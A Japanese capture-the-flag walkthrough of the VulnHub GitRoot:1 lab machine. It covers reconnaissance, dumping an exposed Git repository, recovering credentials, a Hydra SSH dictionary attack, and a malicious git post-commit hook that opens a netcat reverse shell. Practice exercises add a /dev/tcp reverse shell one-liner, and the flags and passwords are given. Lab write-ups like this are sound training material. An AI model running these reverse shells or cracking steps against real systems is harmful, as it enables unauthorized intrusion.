GitRoot:1 攻略 Walkthrough【VulnHub編】

2023年7月15日2023年7月17日

ハッキングの準備【実習】

実験で使用するターゲット端末は、次の表のとおりです。

今回は、VirtualBoxのホストオンリーネットワーク内に攻撃端末（ParrotOSマシン）とターゲット端末（GitRootマシン）を起動して実験します。

以下の手順に従ってターゲット端末を構築します。

1：ターゲット端末の仮想マシンをダウンロードする

当該URLにアクセスします。ダウンロード用のURLがありますので、そのリンクから"GitRoot.ova"ファイルをダウンロードします。複数のURLがある場合はどちらでも構いませんが、VulnHubのURLを選ぶことを推奨します^[1]万が一VulnHubのサイトからダウンロードできなくなった場合は、作者のページのURLからダウンロードしてください。。

GitRoot: 1 ~ VulnHub

GitRoot: 1, made by RecursiveNULL. Download & walkthrough links are available.

 https://www.vulnhub.com/entry/gitroot-1,488/

2：OVAファイルをインポートする

VirtualBoxを起動し、以下の手順でインポートします。

メニューの「ファイル」＞「仮想アプライアンスのインポート」を選びます。「インポートしたい仮想アプライアンス」画面にて、ソースに「ローカルファイルシステム」、ファイルに"GitRoot.ova"ファイルを指定して、[次へ]ボタンを押します。

「仮想アプライアンスの設定」画面では仮想マシンの構成が表示されます。

仮想マシン名は"GitRoot"ですので、変更する必要はありません^[2]仮想マシン名は後でも自由に変更できます。他の仮想マシンと区別できる名前であれば何でも構いません。。

ネットワークアダプターが2つ、ストレージコントローラー（IDE）が2つになっています。

仮想マシンの基本フォルダーにVirtualBox用の仮想マシンを収録するフォルダー（"C:\VM_Guest\VBox"など）が指定されていることを確認します。MACアドレスのポリシーでは「すべてのネットワークアダプタのMACアドレスを含む」を選択して、[インポート]ボタンを押します（図）。

3：仮想マシンの仮想ネットワークアダプターを設定する

インポートが完了すると、VirtualBoxの左ペインに表示されます。ネットワークの設定が残っていますので、Potatoマシンを選んだ状態で右クリックして「設定」を選びます。「設定」画面が表示されたら、左ペインから「ネットワーク」を選びます。アダプター1とアダプター2を次のように設定します。

その後、[OK]ボタンを押して反映させます^[4] … Continue reading。

GitRootをハッキングする【実験】

ステップ1：GitRootマシンを起動する

ターゲット端末のGitRootマシンを起動します。"GitRoot login:"というログイン画面になれば、起動に成功しています（図）。メッセージからIPアドレスは192.168.56.103とわかります。

ステップ2：ParrotOSを起動する

攻撃端末であるParrotOSの仮想マシンを起動します。

ステップ3：ParrotOSのIPアドレスを調べる

ParrotOSのIPアドレスを調べます。enp0s3がParrotOSはデフォルトのネットワークアダプター名であり、ここでは192.168.56.101になっていることがわかります。

ステップ4：GitRootマシンのIPアドレスを特定する

Pingスイープで調べても構いませんが、GitRootの起動画面の上部にIPアドレスが表示されていたので、GitRootマシンは192.168.56.103とわかります。

ステップ5：IPアドレスを環境設定に設定する

GitRootマシンのIPアドレスは何度も使うので、環境変数IPに設定することにします。exportコマンドで環境変数を設定でき、echoコマンドで環境変数の内容を確認できます^[5]exportコマンドでは環境変数を設定する際にはIPの頭に「$」\mathrm{を}\mathrm{つ}\mathrm{け}\mathrm{ず}、echo\mathrm{コ}\mathrm{マ}\mathrm{ン}\mathrm{ド}\mathrm{で}\mathrm{環}\mathrm{境}\mathrm{変}\mathrm{数}\mathrm{を}\mathrm{確}\mathrm{認}\mathrm{す}\mathrm{る}\mathrm{際}\mathrm{に}\mathrm{は}「$」をつけます。。

ステップ6：GitRootマシンにPingする

GitRootマシンに対して疎通確認します。このとき環境変数IPを用いてみます。

Ping応答が返ってくれば、通信に成功しています。

ステップ7：実験用のディレクトリーを作成する

作業ディレクトリーとして"/home/<ユーザー名>/vulnhub/gitroot"ディレクトリーを作成し、その中で作業します。

この作業ディレクトリー内に"notes.txt"ファイルを用意して、実験の過程で得られた情報を記載していくのもよいでしょう。

ステップ8：ポートスキャンする

NmapでGitRootマシンをポートスキャンします。GitRootマシンで提供しているサービスとそのポート番号を特定できます。

• -p-：全ポートを対象。
• -A：OS検知、バージョン検知、スクリプトスキャン、tracerouteを有効化する。
• –system-dns：システムのDNSリゾルバを使う。

Nmapの出力から次のTCPポートが開いていることがわかりました。以降のステップで各ポートを調査します。

• ポート22…SSHサービス。OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)が動作している。認証情報があればSSHアクセスできる。
• ポート80…HTTPサービス。Apache/2.4.38 (Debian)が動作している。攻略の足がかりとして最初に取り組むべき。
  • “robots.txt"ファイルと"/~myfiles"ディレクトリーがある。
• ポート11211…Memcacheサービス？

ステップ9：HTTPサービスにアクセスする

GitRootマシンではHTTPサービスを提供しています。ParrotOS上でブラウザーを起動して、http://192.168.56.103/にアクセスします。WordPressをwp.gitroot.vulnにインストールしていることが明示されています（図）。

ブラウザーでwp.gitroot.vulnにアクセスするわけですが、まだアクセスできません。"/etc/hosts"ファイルにホスト名とIPアドレスの対応を追加します。そこにサブドメインも追加します。

192.168.56.103 gitroot.vuln wp.gitroot.vuln

すでに192.168.56.103を設定している項目があれば、削除した上で追加します（図）。

Pingを実行して、設定が反映されているかを確かめます。

問題がなければブラウザーからもうまくアクセスできます。http://gitroot.vuln/にアクセスすると先と同じメッセージが表示されます。

ステップ10：WordPressにアクセスする

ブラウザーでhttp://wp.gitroot.vuln/にアクセスします。"myblog!"というタイトルのブログページが表示されます。"Hello world!"という1件の記事しかありません。これはWordPressをインストールした際に登録されているサンプル記事になります。投稿者はbethとなっており、WordPress上にbethユーザーが存在します。

ステップ11：サブドメインを列挙する

Gobusterを使ってアクセスできるファイルやディレクトリーを列挙します。Gobusterは未知のファイル、ディレクトリー、サブディレクトリーを発見するためのツールです。

GitHub - OJ/gobuster: Directory/File, DNS and VHost busting tool written in Go

Directory/File, DNS and VHost busting tool written in Go - OJ/gobuster

 https://github.com/OJ/gobuster/

• vhost：バーチャルホストの列挙モード。
• -u：対象URLを指定する。
• -w：辞書ファイルを指定する。

ステータスコードが400台はエラーなので除外します^[6]400はBad Request（不正な要求）、422はUnprocessable … Continue reading。

ステータスコードが200のエントリがいくつかありますので、見やすいようにgrepコマンドで抽出します。

repo.gitroot.vulnを発見しましたので、これも"/etc/hosts"ファイルに追加しておきます。

192.168.56.103 gitroot.vuln wp.gitroot.vuln

192.168.56.103 gitroot.vuln wp.gitroot.vuln repo.gitroot.vuln

設定変更後にPingが返ってくることを確認します。

問題がなければブラウザーでhttp://repo.gitroot.vuln/にアクセスします。表示されたメッセージからコードの保存エリアであることがわかります。"get.php"でコードを検索したり、"set.php"でコードを設定したりできるとのことです。

ステップ12：Gobusterでディレクトリーを列挙する

repo.gitroot.vulnのディレクトリーを探索します。ここではGobusterを使って列挙します。

ステータスコード200の項目に注目します。

“/.git/HEAD"が存在します。このことから"/.git/"があることがわかります。この"/.git/"内にはGitコンテンツが保存されていると推測されます。

ブラウザーでhttp://repo.gitroot.vuln/.git/にアクセスすると403エラー（権限エラー）になります（図）。

そこでGitTools^[7]https://github.com/internetwache/GitToolsに収録されているGitDumperを用いてGitコンテンツをすべてダンプします^[8]Gitコンテンツをダンプするツールは他にもあります。git-dumper（https://github.com/arthaud/git-dumper）、GitHack（https://github.com/lijiejie/GitHack）など。。ここでは"gitdumper.sh"^[9]https://github.com/internetwache/GitTools/blob/master/Dumper/gitdumper.shのみを用います。

ホストオンリーアダプターからNATに切り替える手間を省略するために、ホストOSのブラウザーでソースをコピーして、ParrotOS側にペーストします^[10]実験環境がインターネットに接続している状態であれば、GitToolsごとダウンロードして使用するとよいでしょう。。

準備ができました。

最初は引数なしで実行して書式を確認します。第1引数には"/.git/"で終わるURLを指定し、第2引数にダンプしたファイルの出力ディレクトリーを指定します。

GitDumperを実行してダンプを開始します。出力先のディレクトリーは"./git-dump/"（"~/vulnhub/gitroot/git-dump/"）とします。このディレクトリーは自動で生成されます。

実行を終えると"~/vulnhub/gitroot/git/.git"ディレクトリー内にファイルがダウンロードされています。内容については次のステップで調査します。

ステップ13：ダウンロードしたファイルを調査する

手当たり次第にファイルを覗いてみてください。HAEDファイル（"~/vulnhub/gitroot/git-dump/.git/logs/HEAD"ファイル）にはコミットログが記載されています。"pablo@gitroot.vuln"というメールアドレスがあり、このシステムにはpabloユーザーが存在することが判明しました。

COMMIT_EDITMSGファイル（"~/vulnhub/gitroot/git-dump/.git/COMMIT_EDITMSG"ファイル）を開きます^[11]ブラウザーでhttp://repo.gitroot.vuln/.git/COMMIT_EDITMSGにアクセスしても構いません。。

“Changes not staged for commit"（コミット用にステージングされていない変更）の箇所に注目します。"get.php"ファイルと"set.php"ファイルの存在は知っていますが、"stats.php"ファイルと"pablo_HELP.txt"ファイルというキーワードが登場しました。

変更履歴を読むと"stats.php"ファイルはmodified（変更した）となっていますので、システムに存在するはずです。ブラウザーでhttp://repo.gitroot.vuln/stats.phpにアクセスすると、Arrayという文字列があることから何らかの値が配列に格納されており、それが1行で表示されます（図）。これでは読みにくいので、ソースを表示します。すると読みやすくなります（図）。"[127.0.0.1:11211] => Array"の箇所からポート11211のサービスを利用してサーバーの状態値を得ていることがわかります。今回のハッキングには直接関係はしませんので、引き続き調査します。

“Changes to be committed"（コミットされた変更）にnew fileとなっています。変更箇所は"33513a92c025212dd3ab564ca8682e2675f2f99bba5a7f521453d1deae7902aa.txt"ファイルに記録されています。ブラウザーで次のURLにアクセスします。

view-source:http://repo.gitroot.vuln/33513a92c025212dd3ab564ca8682e2675f2f99bba5a7f521453d1deae7902aa.txt

“pablo"、"beth"、"P@ss"というキーワードから各ユーザーのパスワードに対応する文字列（パスワードそのものではない）と推測できます。文字列の書式から、"jen"ユーザーの存在も想定できます。

変更履歴では"pablo_HELP.txt"ファイルがdeletedとなっていますので、システムからはすでに削除されています。ファイル名に"HELP"と書かれており、攻略につながる情報が書かれている可能性があります。復活させるには、GitTools^[12]https://github.com/internetwache/GitToolsに収録されているGit Extractorを用います。これもシェルスクリプトなので、先ほどの"gitdumper.sh"と同様にParrotOS上に"extrator.sh"ファイル^[13]https://github.com/internetwache/GitTools/blob/master/Extractor/extractor.shを用意します。

“extractor.sh"ファイルの実行時には第1引数にGitのディレクトリー、第2引数に出力ディレクトリーを指定します。

ここでは第2引数に新しいgit-dump2ディレクトリーを指定して実行します^[14]上書きされて消えるものはありませんので、すでにダンプ済みのgit-dumpディレクトリーを指定しても構いません。例えば、「./extractor.sh ./git-dump/ … Continue reading。

履歴を復活できましたので、頭文字の番号が一番小さいディレクトリー（"0-a4e7f0852ebe819f3aba9419198a74990b6992c0″）を調べます。

“pablo_HELP.txt"ファイルは復活できていますが、残念ながら有益な情報を含まんでいませんでした。

頭文字の番号が小さいディレクトリーからファイルを次々に開いていきます^[15]差分に注目するのであればgit … Continue reading。すると、頭文字が「3」のディレクトリー内の"set.php"ファイルに認証情報が含まれていました。ユーザー名は"pablo@gitroot"（あるいは"pablo"）、パスワードは"ihjedpvqfe"です。

<!doctype html>

<html>
<head>

    <title>Code storage</title>
</head>

<body>
	<h1>Welcome to our code storage area</h1>

<?php
if (isset($_GET["key"]) && isset($_GET["value"]) ){
	$key =   $_GET["key"];
	$value = $_GET["value"];
	$gitmem = new Memcached();
	$gitmem->setOption(Memcached::OPT_BINARY_PROTOCOL, true);
	$gitmem->setSaslAuthData("pablo@gitroot", "ihjedpvqfe");　←注目。
	$gitmem->addServer("127.0.0.1", 11211);
	$response = $gitmem->set($key, $value);
	if ($response) {
		echo "Success!";
	}
	else{
		echo "Failed";
	}
}
else {
	echo '<p>key or value not set</p>';
}
?>

ステップ14：認証情報が使い回されていないかを確認する

得られた認種情報はストレージサービス用のものですが、WordPressやSSHに流用されている可能性があります。ブラウザーでhttp://wp.gitroot.vuln/wp-login.phpにアクセスします。WordPressの認証画面が表示されます（図●）。先に得られた認証情報を試みますが失敗します。

次にSSHアクセスを試みますが失敗します。間違えたパスワードを入力すると再入力をうながされますが、強制終了します。

ステップ15：SSHサービスをオンラインパスワードクラッキングする

3ユーザーの候補は判明していますので、SSHサービスに対して辞書攻撃することにします。Hydraでパスワード解析します。パスワード解析前にユーザーリストの内容が正しいことをしっかり確認してください。間違ったユーザー名だといつまでもパスワード解析が終わりません。

rockyouファイルは辞書ファイルとして有効ですが、オンラインパスワード解析には巨大すぎます^[16] … Continue reading。ここでは時間を短縮させるために正しいパスワードを追加したパスワードリストを用いて攻撃します。

解析の結果、pabloユーザーのパスワードは"mastergitar"と判明しました。今回は3ユーザー、101パスワード候補のオンラインパスワード解析ですので5分以内で終わるはずです。

ステップ16：SSHアクセスする

特定した認証情報を用いてSSHアクセスします。

pabloユーザーでログインできました。

“user.txt"ファイルを開いて、フラグ"8a81007ea736a2b8a72a624672c375f9ac707b5e"を入手できます。

ステップ17：リポジトリを探す

pabloユーザーのホームディレクトリーにpublicディレクトリーがあります。中に"message.txt"ファイルがあり、開くと新しいリポジトリをチェックアウトするようにうながすメッセージが書いてあります。

次のコマンドでリポジトリを探せます。lsコマンドの-dオプションはディレクトリーの中身を列挙するのではなく、指定のディレクトリーを対象とするためのものです。

“/var/www/repo/.git"はHTTPサーバーでの公開ディレクトリー内であり、すでにParrotOSにダウンロード済みです。

“/opt/auth/.git"はbethユーザーのGitリポジトリですので、これを調べます。git branchコマンドによりたくさんのブランチがあることがわかります。

“/.git/logs/refs/heads"ディレクトリー内にはたくさんのファイルがあります。「cat `ls` -n」コマンドで全ファイルの中身を表示すると、414行目に"added some stuff"という怪しいコミットログがあります。

他のアプローチとしては「ls -ln | sort -n -r」コマンドでサイズ順にファイル一覧を列挙して、サイズの大きいファイルから見ていくという方法も有効です。サイズが大きいということは変更点が多かったことを示唆しており、重要な変更が含まれている可能性があります。

どんな変更が加えられたかを確認するために、git showコマンドにハッシュ値”06fbefc1da56b8d552cfa299924097ba1213dd93″を指定して実行します。

strcmp()関数の第2引数にパスワードと考えられる文字列"r3vpdmspqdb"が直に埋め込まれています。

ステップ18：ユーザーを切り替える

入手したパスワード候補"r3vpdmspqdb"を使って、bethユーザーへの切り替えを試みます。

無事にbethユーザーに切り替えられました。

ステップ19：リポジトリの運用を確認する

bethユーザーのホームディレクトリー内を列挙するとpublicディレクトリーがあります。中にある"addToMyRepo.txt"ファイルを開くと、jenユーザーからbethユーザーへのメッセージでした。「私（jenユーザー）のリポジトリにコミットしたい場合は"~/jen/public/repos/"ディレクトリーにZIPファイルを追加すれば、私がそれを解凍してリポジトリに追加します」という内容です。

ls -ldコマンドで指定の"~/jen/public/repos/"ディレクトリを調べると、jenユーザー所有ですが、その他のユーザーでも書き込み権限があります。touchコマンドで試しにファイルを生成してみると、エラーが出ませんでした。つまり、bethユーザーでも書き込めるということです。

ステップ20：リバースシェルを起動するシェルスクリプトを登録する

以上により、指定のディレクトリーに悪意のあるZIPファイルを置けば攻撃が成功しそうです。今回は悪意のあるファイルとして、Netcatを使ったリバースシェルを起動するシェルスクリプトを採用します。ポイントは悪意のあるコードは".git/hook/post-commit"ファイルに含まれており、このようなディレクトリー構造にしているのはGitコンテンツとして認識させるためです。

#!/bin/sh
/usr/bin/nc -e /bin/bash 192.168.56.101 4545

シェルスクリプトなので実行権限を与えます。

7zコマンドでZIPファイルに圧縮します。

ParrotOS側で新たにTerminalを起動して、Netcatで待ち受け状態を作ります。

bethユーザーの操作画面に戻ります。指定のディレクトリーに作成したZIPファイルをコピーします。

するとNetcat側に反応があります。ただし、すぐに反応があるわけではありませんので、しばらく待ってください。

idコマンドを実行するとjenユーザーになっていることを確認できます。

ステップ21：TTYシェルを奪取する

使い勝手を向上させるために、TTYシェルを奪取します。プロンプトが返ってきます。

ステップ22：ルートシェルの奪取を目指す

“.viminfo"ファイルを開くと不審な文字列"binzpbeocnexoe"を見つけられます。

sudo -lコマンドを実行するとパスワードを要求されるので先ほどの文字列"binzpbeocnexoe"を入力してみます。するとsudoの設定が表示されました。つまり、この文字列はjenユーザーのパスワードだったということです。

sudoの設定によるとgitバイナリにアクセス許可があります。

次のコマンドでGit Manualを起動して、コマンド入力欄に「!/bin/sh」を入力することでルート権限を奪取できます（図）^[17]GTFOBinsのGitページ（https://gtfobins.github.io/gtfobins/git/）が参考になります。。

rootユーザーのフラグ"734ae32be131cd0681f86c03858f4f587a3c69ce"を取得できました。

以上で攻略を終了します。

なお、"passwords"ファイルを開くと3ユーザーのパスワードが明かされます。

練習問題【実習】

問題1

[問題]Dirsearchを使ってrepo.gitroot.vulnのディレクトリーを探索してください。

$ dirsearch -u repo.gitroot.vuln

問題2

[問題]

(1)Gitコンテンツを手動で作成していましたが、git initコマンドを用いて簡便化してください

$ cd /tmp
$ git init
$ cd .git
$ ls
branches  config  description  HEAD  hooks  info  objects  refs
$ cd hooks/
beth@GitRoot:/tmp/test/.git/hooks$ ls 
applypatch-msg.sample      pre-applypatch.sample      pre-rebase.sample
commit-msg.sample          pre-commit.sample          pre-receive.sample
fsmonitor-watchman.sample  prepare-commit-msg.sample  update.sample
post-update.sample         pre-push.sample

(2)悪意のある"post-commit"ファイルでshを用いてリバースシェルを実現してください。

#/bin/sh
/usr/bin/sh -i >& /dev/tcp/192.168.56.101/4444 0>&1

(3)GTFOBinsのGitページ（https://gtfobins.github.io/gtfobins/git/）を参考にして別のアプローチを考察してください。

問題3

[問題]rlwrapを用いるとリバースシェルのセッションの操作性を向上できます。

(1)Netcat単独の場合と組み合わせ場合を比較して、どういった点が有利かを調べてください。

(2)ParrotOSにrlwrapをインストールしてください。

$ sudo apt install rlwrap

(3)rlwrapでリバースシェルのセッションを確立してください。

$ rlwrap nc -lvnp 

問題4

[問題]Netcatの代わりにsocatを用いてリバースシェルを安定化してください。

現在のttyをファイルとして送信し、戻り値を0とします。

$ socat TCP-L: FILE:tty,raw,echo=0